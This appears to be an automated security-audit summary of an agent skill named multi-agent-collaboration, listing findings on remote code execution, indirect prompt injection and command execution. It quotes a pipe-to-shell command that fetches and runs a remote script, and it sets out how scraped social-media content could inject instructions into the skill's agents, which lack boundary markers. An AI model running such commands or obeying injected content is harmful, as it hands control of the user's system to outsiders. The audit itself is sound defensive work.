The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The pattern curl https://example.com/install.sh | bash was detected in SKILL.md, README.md, and claudegrade-demo.js. Technical review shows these are string literals used as test inputs for the SafetyGatePipeline auditor, which is designed to detect and block such patterns. These commands are not executed by the skill itself.- [INDIRECT_PROMPT_INJECTION]: The skill implements a DataSourceSubscriber agent designed to scrape and ingest data from external platforms including Weibo, Zhihu, and TikTok.
Ingestion points: External content is ingested via web_search and extract_content_from_websites in AGENT_PROMPTS.md.
Boundary markers: The system prompts do not define explicit delimiters or instructions to disregard potential instructions embedded in the ingested content.
Capability inventory: The system possesses capabilities for file modification (memory storage) and command auditing, which could be targeted by injection payloads.
Sanitization: While a DataCleaner agent is mentioned, its primary function appears to be structural normalization rather than security-focused sanitization against prompt injection.- [COMMAND_EXECUTION]: The SafetyGatePipeline in scripts/systems/safety.ts contains functions to audit and normalize shell commands. While this is a security feature, it confirms the skill is designed to handle and potentially facilitate the execution of system commands through its agent coordination logic.

multi-agent-collaboration